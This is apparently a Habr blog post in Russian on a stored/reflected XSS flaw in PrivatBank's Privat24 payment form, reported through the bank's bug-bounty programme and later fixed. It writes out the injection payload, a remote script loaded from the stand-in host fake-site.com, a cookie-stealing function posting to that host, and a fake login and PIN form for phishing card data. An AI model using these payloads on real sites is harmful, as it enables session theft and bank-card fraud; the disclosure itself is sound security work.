[Из песочницы] Как работает программа «Поиск IT-уязвимостей» у ПриватБанка

bcb2b95e1a5f2081657dc1058f33473d.jpgКрупнейший банк Украины Приватбанк объявил о том что “ПриватБанк заплатит 10000 грн. за найденные уязвимости в Приват24”. И информация на сайте банка.Узнав об этом я вспомнил XSS уязвимость, которую обнаружил и написал о ней в приватный чат оператору Приват24 пол года назад. Погуглив об этой замечательной новости увидел статью на хабре “ПриватБанк обвинил украинского программиста во взломе своего Android-приложения”.

Интересно и страшно в одно и то же время. Ищите нам уязвимости а мы вас будем обвинять во взломе!

Решив что я не нарушаю никаких правил Приватбанка, пошел проверять старую уязвимость, и (почему то я и не сомневался) ее никто не исправил.На официальном сайте банка есть пример кода формы для интернет-эквайринга.

<form action="https://api.privatbank.ua/p24api/ishop" method="POST"> <input type="text" name="amt" value="сумма"/> <input type="text" name="ccy" value="валюта (UAH / USD / EUR)" /> <input type="hidden" name="merchant" value="ID мерчанта" /> <input type="hidden" name="order" value="уникальный код операции" /> <input type="hidden" name="details" value="назначение платежа" /> <input type="hidden" name="ext_details" value="дополнительные данные (код товара, и т.п.) /можно оставить пустым/" /> <input type="hidden" name="pay_way" value="privat24" /> <input type="hidden" name="return_url" value="страница, принимающая клиента после оплаты" /> <input type="hidden" name="server_url" value="страница, принимающая ответ API о результате платежа" /> <input type="submit" value="Оплатить" /> </form> Подставив в поле “details”:

<input type="hidden" name="details" value="test<script>alert(‘xss’);</script>" /> И отправив форму, пользователь попадает на страницу оплаты ПриватБанка на которой и выполняется XSS:

Оригинальная страница выглядит так:

e91947e838d35bb91c393436716b028c.png

На ней выполняется наш alert():

в firefox:

00deb8a9bbe7ba097b35dd223f2098ca.png

в chrome:

1b6f76d979fe577bf5b26cfebf8dbae7.png

в IE10:

88d15d5bfb5c8e1ff5da1d086f1cf018.png

Идем дальше и загружаем javascript с удаленного хоста:

<input type="hidden" name="details" value="test<script src=’http://fake-site.com/p.js’></script>"/> И получаем ошибку:

18ad1e68e49361ed4c0789848e25bb12.png

The page at 'https://api.privatbank.ua/p24api/ishop?pid=.....' was loaded over HTTPS, but ran insecure content from 'http://fake-site.com/p.js': this content should also be loaded over HTTPS.

Исправляем и пробуем еще раз:

<input type="hidden" name="details" value="test<script src=’https://fake-site.com/p.js’></script>"/> Работает! (Главное, сертификат должен быть валидным и не самоподписанным).

Удаленный js файл выполняется:

827d80c43f67d81af64636857cec32c9.png

Далее первое что приходит в голову — отправлять на fake-site.com куки пользователей.

Для этого в наш p.js добавляем:

function getCookies() { var cookies = {}; // The object we will return var all = document.cookie; // Get all cookies in one big string if (all === "") // If the property is the empty string return cookies; // return an empty object var list = all.split("; "); // Split into individual name=value pairs for(var i = 0; i < list.length; i++) { // For each cookie var cookie = list[i]; var p = cookie.indexOf("="); // Find the first = sign var name = cookie.substring(0,p); // Get cookie name var value = cookie.substring(p+1); // Get cookie value value = decodeURIComponent(value); // Decode the value cookies[name] = value; // Store name and value in object } return cookies; }

$.post("https://fake-site.com/p.php", getCookies()); Используем jQuery только потому, что он доступен на странице банка.

Куки получаем, отправляем на фейковый сайт и видим ошибку:

f156063137d24285a198a113f1c7a30a.png

XMLHttpRequest cannot load 'http://fake-site.com/p.php'. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'https://api.privatbank.ua......' is therefore not allowed access.

Исправляем в p.php:

header("Access-Control-Allow-Origin: *"); И запросы пошли.

На этом не останавливаемся и пробуем подменить страницу чтобы пользователь ввел повторно свой номер телефона, пароль от клиент банка.

Модифицируем p.js так:

var html = ”...тут много кода css и html..”;

$(function() { a(); });

function a(){ $(".pr_block").find(".pr_password").addClass("fake").removeClass("pr_password").html(html); $(".bt_cancel").hide(); $(".bt_login").hide(); } Прячем поле ввода кода платежа и показываем форму авторизации:

dc0e446c4e43454fa01700fa8e8b49a6.png

Так же можно показать форму восстановление доступа (если пользователь вводит пароль 3 раза неправильно то видит такую форму):

759d91d23fbc4ea8bf80e7d25961f227.png

Показав эту форму на странице банка злоумышленник может получить от пользователя его пароль, номер телефона, почтовый адрес. Далее при восстановлении пароля банк высылает пароль на мобильный телефон и только ПОСЛЕ его ввода пользователь видит форму ввода пин кода карты, но так как эта форма поддельная то и пароли никто высылать не будет и пользователь сразу увидит форму ввода пин кода:

5292678026174afba07bcb431ee94944.png

В итоге у нас есть последние 4 цифры карты пользователя и пин код к ней.

Из формы оплаты у нас есть список всех карт пользователя:

9553d997669a4604a5832f23333f52d0.png

Соответственно злоумышленник знает полный номер карты и пин код от этой карты а так же ФИО пользователя, его номер телефона, пароль от Приват24, номера и балансы всех его карт заведенных в Приват24.

Остается запустить любой сайт с оплатой через Приват24, продавать любой товар с огромными скидками и собирать данные пользователей.

Но так как мы честные граждане, то об этой уязвимости еще раз сообщено в отдел “Поиск IT-уязвимостей” и получены вот такие ответы (Перед получением каждого письма от ПриватБанка я писам им запросы):

1) 13 февраля 2014Добрый день!Ваш сигнал по форме оплаты Приват24 взят в работу.Спасибо за сигнал! О результатах мы проинформируем отдельным сообщением!

2) 20 февраля 2014Добрый день!Уязвимость еще не закрыта, над ее устранением работают разработчики.Прошу подождать некоторое время и не публиковать пока информацию об этой уязвимости. Мы обязательно сообщим о ее устранении. Рассматриваем сигналы мы в течении 7 дней, но устранение уязвимостей, к сожалению, занимает больше времени (с учетом того, что сигналов поступает много).Спасибо за понимание!

3) 12 марта 2014Добрый день!Уязвимость, которую Вы указали уже проработали. Изменения внесли и протестировали на тестовом сервере Приват24. Ожидается выставление исправленной версии на боевой сервер.Сообщаем что за этот сигнал Вам будет выплачено денежное вознаграждение (ориентировочная сумма — 1500грн.) Прошу сообщить номер Вашей карты «Универсальная» на которую будет осуществлена выплата. Выплата будет осуществлена в начале апреля. До осуществления выплаты прошу не разглашать информацию об этой уязвимости. Спасибо!

4) 18 апреля 2014Добрый день!На данный момент все выплаты банком по Крыму приостановлены в связи с неопределенностью политической ситуации в отношении банковского сектора в этом регионе.Спасибо за понимание!

Дальнейшие действия не проводились, все исследования проводились над своим аккаунтом как и требуют “Условия и правила” банка:

f44b605d0acc45b68e4d602243d9d74d.png

Сегодня проверил — уязвимость исправлена!

© Habrahabr.ru